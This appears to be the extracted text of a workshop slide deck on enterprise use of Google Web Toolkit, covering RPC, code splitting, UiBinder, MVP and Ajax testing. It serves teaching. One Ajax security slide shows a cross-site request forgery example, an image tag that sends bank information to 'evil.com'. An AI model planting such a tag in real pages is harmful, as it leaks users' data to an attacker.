An overview of the most important GWT features mixed with my experience of GWT. For example: 2-layered delpoyment model, several design patterns, security issues, ajax testing, etc..
This presentation is different then the usual GWT presentation as it describes the usage of GWT in an enterprise environment instead of a "GWT hobby project".
This presentation is used during GWT workshops and courses.
2. • What is GWT?
• My first GWT application
• The GWT compiler
• Native Javascript support
• GWT under the hood
• Making own widgets
• Backend integration
• GWT-RPC
Ed Bras | ed@ited.nl 2
3. • Spring integration
• DTO’s usage
• Ajax security
• Code splitting
• Styling and Themes
• Client bundle
• UIBinder
• MVCP pattern
Ed Bras | ed@ited.nl 3
4. • Service handler
• GWT enterprise development
• Display data binding
• IDE integration
• Ajax testing
• Third party GWT frameworks
• Sales talk
• GWT usage
Ed Bras | ed@ited.nl 4
5. • Building interactive web sites
• Java -> Javascript compiler
Java Javascript
• Browser independent Code
• Browser support: FF, IE, Chrome, Safari, Opera
• No browser plugin needed
Chrome
• Open source, Apache 2.0 license
Opera
Firefox Safari Firefox
Ed Bras | ed@ited.nl 5
6. • Create project
• GWT jar’s
• JRE support + source code
• Not-supported classes
• Development mode
• Debugging
• Compile with Maven
• GWT Eclipse plugin
Ed Bras | ed@ited.nl 6
7. • Generating optimized Javascript
• Faster Javascript then handwritten
• Dead code removal, Type tighten, inlining,
aggressive obfuscation, etc…
Shape s = new Square(2);
int a = s.getArea();
equals:
Square s = new Square(2);
inta = s.length* s.length;
Java Javascript
becomes: Code
int a = 4;
Ed Bras | ed@ited.nl 7
8. • Newest compiler: 3 – 20 % smaller code
• Compiler output: obfuscated, pretty, report
• Predictable code: no reflection
• Deferred binding alternative GWT.create(DOMImpl.class)
• Compiler permutations DOMImpl
DOMImplIE6 DOMImplOpera
Ed Bras | ed@ited.nl 8
9. • Internationalization support
• Inline property replacement
• Extending properties
commonlabels_nl.properties
interface
CommonLabels
Content: mylabels_nl.properties
customerTitle = Alle klanten interface package
….
… MyLabels
Usage:
MyLabels props = GWT.create(MyLabels.class);
props.getCustomerTitle();
Ed Bras | ed@ited.nl 9
10. • Different permutations (browsers x languages)
Indicate Possible locales (permutations) in gwt.xml:
<extend-property name="locale" values="nl, es" />
Indicate required Locale:
Set required locale in gwt.xml file:
<set-property name="locale" value="nl" />
Set required locale in html file:
<meta name="gwt:property" content="locale=es">
Set required locale in URL:
http://www.example.org/myapp.html?locale=nl
Ed Bras | ed@ited.nl 10
11. • Call Javascript code from Java
public native String flipName(String name) /*-{
var re = /(w+)s(w+)/;
return name.replace(re, '$2, $1');
}-*/;
• Call Java code From Javascript
• Results in many possibilities
• GWT wrappers around existing Javascript lib’s
• Direct JQuery calls (GQuery)
• Flash integration through FABridge
Ed Bras | ed@ited.nl 11
12. • DOM programming through Java Overlay types
• Binding of a Java object to a Javascript object
• IDE advantages
• Use JSON objects as Java objects
• Friendly usage of Javascript lib’s
Ed Bras | ed@ited.nl 12
13. JSON data from server:
var jsonData = [
{ "FirstName" : "Jimmy", "LastName" : "Webber" },
{ "FirstName" : "Alan", "LastName" : "Dayal" },
];
Overlay Java Class:
public class CustomerJso extends JavaScriptObject implements Customer {
protected CustomerJso() { }
public final native String getFirstName() /*-{ return this.FirstName; }-*/;
public final native String getLastName() /*-{ return this.LastName; }-*/;
public final String getFullName() {
return getFirstName() + " " + getLastName();
}
}
Usage:
public void onModuleLoad() {
Customer c = getFirstCustomer();
Window.alert("Hello, " + c.getFirstName());
}
private native CustomerJso getFirstCustomer() /*-{
return $wnd.jsonData[0]; // example: contains the result from a backend call
}-*/;
Ed Bras | ed@ited.nl 13
14. • Gwt-google-apis:
• Google Maps
• Google Ajax search
• Google Gears
• etc..
Ed Bras | ed@ited.nl 14
15. • Widget and Panel Hierarchy Implements HasWidgets
Ed Bras | ed@ited.nl 15
16. • HTML standard mode support
• Helper classes
DOM GWT History
• DOM: Dom element management
• GWT: Global application management
Ed Bras | ed@ited.nl 16
17. • History: Ajax navigation via URL fragments
Add History Add History
Show page 1 Show page 2 back
marker marker
1 2
History
back: inform
queue back: inform
page 2
page 1
…. inform
Ed Bras | ed@ited.nl 17
18. • Object presentation on the DOM
Logical attachment Physical attachment
parent parent
contains
Panel Panel
child’s child’s
Label contains Label
Button contains Button
Ed Bras | ed@ited.nl 18
19. • Element API examples
UIObject.getElement() // element location
Element.getStyle()
Element.setPropertyString(String, String)
Element.setScrollLeft(int)
Element.setTitle(String)
Element.getClassName() // same as Widget.getStyleName()
• Toevoegen child widget:
// logical and physical attachment:
FlowPanel panel = new FlowPanel();
RootPanel.get().add(panel);
Panel.add(new Label(“some text”); // attachment
// Only physical attachment (not normal usage):
FlowPanel panel = new FlowPanel();
RootPanel.get().add(panel);
Panel.getElement().appendChild(new Label(“some text”).getElement)); // attachment
Ed Bras | ed@ited.nl 19
21. • Composite class usage:
• Clear API
• Poor reusage, not lazy, heavy constructor
• Improved alternative: SimpleComposite
Ed Bras | ed@ited.nl 21
22. • Event example
• Event sinking
• Event bubbling transparency
• Blur and Focus do not bubble
Capture phase parent Bubbling phase
Panel
child’s
Button
Ed Bras | ed@ited.nl 22
23. • What goes wrong ?
function makeWidget() {
var widget = {};
widget.someVariable = "foo";
widget.elem = document.createElement ('div');
widget.elem.onclick = function() {
alert(widget.someVariable);
};
}
• Browsers garbage collection of cycled referenced
A -> B -> A (widget -> elem -> widget)
Ed Bras | ed@ited.nl 23
24. • GWT guarantees no memory leaks
• Element -> Widget association not possible
Ed Bras | ed@ited.nl 24
25. • Asynchronous backend calls
Synchroon
Show table Create Table View Fetch Table data
with data
Asynchronous
1 Create Table View frontend
Show table
with data
2
backend
Fetch Table data
Ed Bras | ed@ited.nl 25
26. • SOP: Same Origin Policy
• Alternative:
• Server proxy: extra delay
• <script> DOM element: less secure
SOP restriction
Neighbor
Load application Our domain
Ed Bras | ed@ited.nl 26
27. • Impact integration of existing backend
• Page lifecycle not on server
• Lightweight
• Easy integration with existing Get/Post backend
Ed Bras | ed@ited.nl 27
28. • Communication basics:
• GWT-RPC (java backend)
• Post/Get (any backend)
• JSNI
GWT applicatie
GWT-RPC Post/Get JSNI
XML JSON Text
J2EE container Any container Any container
Backend
Ed Bras | ed@ited.nl
28
29. • Post/Get
• Retrieving any data from the server
• Example: XML, JSON, TEXT
• JSON versus XML
• Third party lib’s for REST services
• Example: Restlet, RestyGWT (REST + JSON)
• GWT RequestBuilder class:
• Default Post/Get support (Safari bug)
• Head/Delete/etc.. support through subclasses
RequestBuilder.sendRequest(String, RequestCallback)
Ed Bras | ed@ited.nl 29
30. • Post/Get
• GWT XML en JSON helper classes
• GWT-RPC
• Transparent backend connection
• Java Object sharing
• Lightweight mechanism
Ed Bras | ed@ited.nl 30
31. • GWT-RPC Customer example
server client
web.xml Remote
… Service
mapping
2
RemoteService Customer
Servlet Customer ServiceAsync
3 Service
Customer 1
ServiceDefault
Usage
GWT J2ee container service = GWT.create(CustomerService.class);
service. getAllCustomers()
Ed Bras | ed@ited.nl 31
32. • Transport object:
• Implements (indirect) Serializable
• No-arg constructor
• Field must be non-final (log warning)
• Transient field not over the wire
• Generated Serialization code reduction:
• Prefer ArrayList<E> over List<E> in Service interface
Ed Bras | ed@ited.nl 32
33. • Only Checked exceptions over the wire
List<Customer> getAllCustomers() throws StaleCustomerStateException;
• Exception translation
Browser
GWT application
java.lang.reflect.Proxy Unchecked -> Checked Exception
Dynamic proxy Exception Translator
Example:
Source: MemberNotLoggedInRuntimeException
Target: MemberNotLoggedInException
Mediator layer
Ed Bras | ed@ited.nl 33
34. • <MD5>.gwt.rpc policy file
• War deployment
• Spring integration
• Third party connector (gwtwidgets)
• Mapping through Spring instead through web.xml
Ed Bras | ed@ited.nl 34
35. • Friendly environment
Development
Browser
Browser plugin
GWT Application
IDE
code share load application/resouces
backend communication
Customer
index.html Start/Stop
Web server(s)
proxy calls publish
J2EE container(s)
Separated deployment
gwt-servlet.jar
DB
Ed Bras | ed@ited.nl 35
36. • GWT noserver mode
• Friendly development environment:
• SOC (Separation of Concerns)
• Friendly testing (mocks)
• Friendly deployment (separated)
• Serialization policy solution (SerializationPolicy)
• Lightweight backend
• Simple scalable (horizontal)
• Almost stateless
Ed Bras | ed@ited.nl 36
37. Browser
GWT application
DTO’s (CustomerDto)
DTO
Mediator layer converter Domain objects (Customer)
Backend communication
• Optimizing object transport (light, share, security)
• Prevents enhanced object problems (hibernate)
• Adjust and test DTO conversion
Ed Bras | ed@ited.nl 37
38. • DTO converter: Dozer
• Gilead:
• No DTO converter needed
• Backend impact
• Code impact Domain object
(Customer)
DTO object
(CustomerDto)
Ed Bras | ed@ited.nl 38
39. • Bill Hoffman film en book Ajax Security
• GWT doc
• Ajax paradox: more in not-trustable client
• Security role undermind
• Differences with not-Ajax time
Ed Bras | ed@ited.nl 39
40. Backend
• State in client
• Backend calls as webservices
Not-Ajax backend Ajax backend
Not to be trusted?
Ed Bras | ed@ited.nl 40
41. Backend
• Evil state in front-end
• Specification backend access (control and state)
• Ajax as blueprint van de backend
• Example:
• Booking flight: select, reservation, pay, book
• Price attack: price in Javascript variable
Ed Bras | ed@ited.nl 41
42. Frontend
• More business logic in browser (HtmlGuardian)
• You best friend: Firebug
• Javascript security friend: Flash (no SOP)
• Storing login info in client (https login)
• Logic controlled denial attack
• Revered Obfuscating
• Dynamic code loading
• Method Clobbering
Ed Bras | ed@ited.nl 42
44. • XSS (Cross Site Scripting)
• XSRF (Cross Site Request Forging)
Trusted domain Evil domain
Request forging
<img src=“evil.com?info=Bank info”></img>
Cookie
Inject Javascript
Ed Bras | ed@ited.nl 44
45. • Cookie duplication
• GWT:
• Hiding Javascript
• Usage JSONParser
• More default checks in future
• Many attention on infrastructure security
• Little attention on Application security (hacker happy)
Ed Bras | ed@ited.nl 45
46. • Loading of application in small code fragments
Time
HTML JS Running
without code splitting
with code splitting
HTML JS Running Running Running Running
JS JS JS
Ed Bras | ed@ited.nl 46
47. • Example of split point in code
GWT.runAsync(new RunAsyncCallback() {
public void onSuccess() {
// Runs when code is loaded with success
}
public void onFailure(Throwable reason) {
// Runs when loaded with failure
}
});
Code base
Start Code
Split point 1
Loading first code
Split point 2
fragment
Kb
Left over
Ed Bras | ed@ited.nl 47
48. • Lazy loading when needed
• Manual Code splitting
• Minimizing left over
• Isolate code fragments
• SOYC (Story Of Your Compile)
• When loading which code?
• Code fragment size
• Compiler optimizing
• etc…
Ed Bras | ed@ited.nl 48
49. • CSS faster than element styling
element. getStyle().setBackgroundColor(“#FF00FF”)
• (GWT) CSS include through
• <link> in Html page <link type="text/css" rel="stylesheet" href=“my.css">
• In gwt.xml file (preferred) <stylesheet src=“my.css" />
• Through UIBinder and CssResource
Ed Bras | ed@ited.nl 49
51. • Visual Theme:
• Inject a set of style sheets through a separate gwt.xml file
• Usage with reusable components
• GWT standard themes: standard, chrome, dark
Usage:
<inherits name='com.google.gwt.user.theme.standard.Standard'/>
Content of Standard.gwt.xml:
<module>
<stylesheet src="gwt/standard/standard.css"/>
</module>
Ed Bras | ed@ited.nl 51
52. • Dynamic change of style sheets
public static boolean removeStyleSheet(String id) {
Element elem = DOM.getElementById(id);
if (elem == null) {
return false;
}
else {
Element parent = elem.getParentElement();
parent.setPropertyString("disabled", "disabled");
parent.removeChild(elem);
return true;
}
}
public static void addStyleSheet(String id, String url) {
Element link = DOM.createElement("link");
link.setPropertyString("rel", "stylesheet");
link.setPropertyString("type", "text/css");
link.setPropertyString("id", id);
link.setPropertyString("href", url);
link.setPropertyString("disabled", "");
Element head = getHead();
head.appendChild(link);
}
public native Element getHead() /*-{ return $doc.getElementsByTagName('head')[0]; }-*/;
Ed Bras | ed@ited.nl 52
53. • Include static resources
public interface MyResources extends ClientBundle {
public static final MyResources INSTANCE = GWT.create(MyResources.class);
@Source("my.css")
public CssResource css();
@Source("config.xml")
public TextResource initialConfiguration(); // i18N support (config_us.xml)
@Source("default.txt")
public TextResource defaultText(); // i18N support (default_nl.txt)
@Source("manual.pdf")
public DataResource ownersManual(); // i18N support (manual_es.pdf)
@Source("logo.png")
ImageResource logo(); // i18N support (logo_es.png)
}
Usage:
MyResources.INSTANCE.css().ensureInjected();
// Display the manual file in an iframe
new Frame(MyResources.INSTANCE.ownersManual().getURL());
Ed Bras | ed@ited.nl 53
54. • Perfect caching (predictable)
• MD5 file name
Manual.pdf A49CB1C6CF624BC21D0E59CDCD566951.pdf
GWT Compiler
• File change results in MD5 file name change
• Apache caching (mod_expires)
<Files *.nocache.*>
ExpiresDefault "access"
</Files>
<Files *.cache.*>
ExpiresDefault "now plus 1 year"
</Files>
Ed Bras | ed@ited.nl 54
56. • CssResource:
• More control and flexible
• Efficient loading of images
• GWT compiler performs more checks
• Css code -> Java code -> more checks/control
• Minimizing style sheet
• Obfuscating
• Predictable/perfect caching
Ed Bras | ed@ited.nl 56
57. • Templating elements
HelloWorld.ui.xml:
<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder'>
<div>
Hello, <span ui:field='nameSpan'/>.
</div>
</ui:UiBinder>
public class HelloWorld extends UIObject {
interface MyUiBinder extends UiBinder<DivElement, HelloWorld> {}
private static MyUiBinder uiBinder = GWT.create(MyUiBinder.class);
@UiField SpanElement nameSpan;
public HelloWorld() {
setElement(uiBinder.createAndBindUi(this));
}
public void setName(String name) { nameSpan.setInnerText(name); }
}
Usage:
HelloWorld helloWorld = new HelloWorld();
Document.get().getBody().appendChild(helloWorld.getElement());
helloWorld.setName("World");
Ed Bras | ed@ited.nl 57
58. • Templating widgets
HelloWidgetWorld.ui.xml:
<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder‘ xmlns:g='urn:import:com.google.gwt.user.client.ui'>
<g:HTMLPanel>
Hello, <g:ListBox ui:field='listBox' visibleItemCount='1'/>.
</g:HTMLPanel>
</ui:UiBinder>
public class HelloWidgetWorld extends Composite {
interface MyUiBinder extends UiBinder<Widget, HelloWidgetWorld> {}
private static MyUiBinder uiBinder = GWT.create(MyUiBinder.class);
@UiField ListBox listBox;
public HelloWidgetWorld(String... names) {
initWidget(uiBinder.createAndBindUi(this));
for (String name : names) {
listBox.addItem(name);
}
}
}
Usage:
HelloWidgetWorld helloWorld = new HelloWidgetWorld("able", "baker", "charlie");
Ed Bras | ed@ited.nl 58
59. • Improve performance (innerHTML usage)
• Many styling possibilities
• Separation of Widget and Template
• 1 Widget with different templates
• Design friendly
• IDE friendly
• Annotation usage (listener method)
• Compare with Flex and Faclets (JSF)
Ed Bras | ed@ited.nl 59
60. Events:
…
App init Event bus
App prepare test
App prepare 1 Business logic
.. Create lazy through code split
App build 1 Customer
.. Controller
App show Bubbling actions:
.. Click gotoModify button
Global data changed
Presenter logic
Show Modify
Presenter Presenter
Interface association
optional Data Model
Presenter 1
Show View Modify View
Shared display content:
Display Tab content
register ….
Ed Bras | ed@ited.nl 60
61. • Separated view, business en presentation logic
• Forced separating
• Friendly testing
• Interface associations
• Data model Observer memory leaks
• GWT doc
Ed Bras | ed@ited.nl 61
62. • Central handler for backend communication
• Control of backend calls (queue, timeout, etc..)
• Central progress monitor
• Wrap existing Async calls
Usage:
final AsyncCallback<Member> callback = createCallback();
….
serviceHandler.add(new AsyncCommand<Member>() { // add service handler
public AsyncCallback<Member> getCallback() {
return callback;
}
void run(final AsyncCallback<Member asynCallback) {
getBackendFacade().login(“bla”, “geheim”, asynCallback);
}
});
Ed Bras | ed@ited.nl 62
63. • Split GWT project in production, test en development
DeclareCommon.gwt.xml
Test enabled (1200k):
DeclareProd.gwt.xml DeclareTestCommon.gwt.xml with asserts
with element id’s
with dev panel
Lean and mean (800k): backend mocking
no asserts Test data via URL params
no element id’s etc..
etc..
DeclareTest.gwt.xml DeclareDev.gwt.xml
<div id=“bla”>rik</div> More Test data options
Id is needed for Ajax testing
Ed Bras | ed@ited.nl 63
64. • Flexible environment settings
• Friendly develop environment
• Mocking backend (offline mode)
• Unit testing through URL parameters
• Deferred binding
Ed Bras | ed@ited.nl 64
65. • Model Display binding
View
Desired:
Decouple of display details en
Fill display with
data binding (SOC)
Data model model data Reusable data binding
public void update(data collection) {
foreach(Data item: data) {
split table.setText(0, 1, item.getLabel());
}
}
binding ?
Data model Display
Ed Bras | ed@ited.nl 65
66. • TableViewer example
Data model TableViewer decorates Table
1: update2Display(List<Customer>)
TableViewer Display table
2: update2Display(RowEditor, Customer) contains
TableEditor RowEditor
3: Customer specific:
rowEditor.setHtml(0, customer.getFirstName());
rowEditor.setWidget(1, new Label(customer.getLastName()));
….
Ed Bras | ed@ited.nl 66
67. • Viewer decorates Display component
• SOC (Separation Of Concern)
• Friendly syncing of data and display
• Reusable for other data
• Usage in well known GUI frameworks
• Example: FormField en FormFieldViewer
Ed Bras | ed@ited.nl 67
68. • GWT Eclipse plugin
• GWT Designer of Instantiations (no UIBinder)
• Waiting for UIBinder IDE support
Ed Bras | ed@ited.nl 68
69. • Unit testing of not-Display parts (MVCP)
• Unit testing of GWT display parts met Junit
• Nightly build met Cargo- en GWT maven plugin
• Difficult to test the Ajax frontend
• Selenium van Thoughtworks:
• FF plugin for scenario recording
• Selenium RC (java, Groovy, etc…)
• Ajax model test framework:
• Modeling of browser elements
• Selenium as browser implementation
Ed Bras | ed@ited.nl 69
70. • Ajax model test framework
Display
typeWait(“bla”)
TypeElement
First name
clickWait(“bla”)
Last name modeling CheckElement
News letter
contains
interface contains
Locator interface
<input id=“myCheckId” type=“checkbox”> Browser
Id Css
selector
Selenium RC
Ed Bras | ed@ited.nl 70
71. • Hierarchy of reusable rich browser elements
• Compose new elements
• Friendly usage none-developer
• Run through testNG/Junit
• Run during nightly build
Ed Bras | ed@ited.nl 71
72. • GWT focus: compiler and core
• Many GWT hobby projects
• GXT van Ext Js (former mygwt)
• SmartGWT
• RocketGWT
• Many GWT wrappers
• GIN (GWT Injection), based on Google Guice
Ed Bras | ed@ited.nl 72
73. • It’s Google (future, sexy)
• Open source project, no license costs
• Google Wave and AdWords build with GWT
• GWT more popular every day
• Rich interactive web sites possible
• Browser independent
• No browser plugin needed
• Short learning curve
• GWT has a clear programming model
Ed Bras | ed@ited.nl 73
74. • Existing Java developers can start directly
• Usage of standard Java development tools
• GUI design tools available
• Many GWT libraries available
• Fast application building (Prototyping)
• Many and complex functionality possible
• No/little Javascript knowledge needed
• Simple and fast deployment
Ed Bras | ed@ited.nl 74
75. • Simple integration with existing backend
• Simple scalability
• Less backend resource usage
• Friendly integration with Google API’s.
• Integration with Flash in the browser
• Light weight
• Compiler optimizing (compact, obfuscated)
• Reusable existing Java code
Ed Bras | ed@ited.nl 75
76. • CMS friendly
• Test/develop friendly (prod, test, dev modes)
• GUI binder
Ed Bras | ed@ited.nl 76
77. • Less:
• Still solving browser CSS differences yourself
• less suitable for complex animations
• Less suitable for tiny Javascript application
• Not search engine friendly (poor ranking)
Ed Bras | ed@ited.nl 77
78. • JQuery for simple Ajax functionality
• Flash for Trendy sites
• Other: GWT
• Use case: Lombardi/IBM Blueprints:
• Started with Flash (cross-browser bugs)
• Then DOJO (too big)
• Now GWT (take over by IBM)
• Use case: Mendix, generation of GWT front-end
Ed Bras | ed@ited.nl 78
79. • Roadmap not public known
• Compiler optimizing, richer widgets, standard mode,
security, etc..
• HTML 5 support
• More used every day (forum active)
Ed Bras | ed@ited.nl 79
80. • Google GWT site: doc, samples, blog, forum
• GWT on Youtube (I/O sessions)
• Google books
• LinkedIn group(s): GWT Dutch Professionals
• Call/Mail me (ed@ited.nl, www.ited.nl)
Ed Bras | ed@ited.nl 80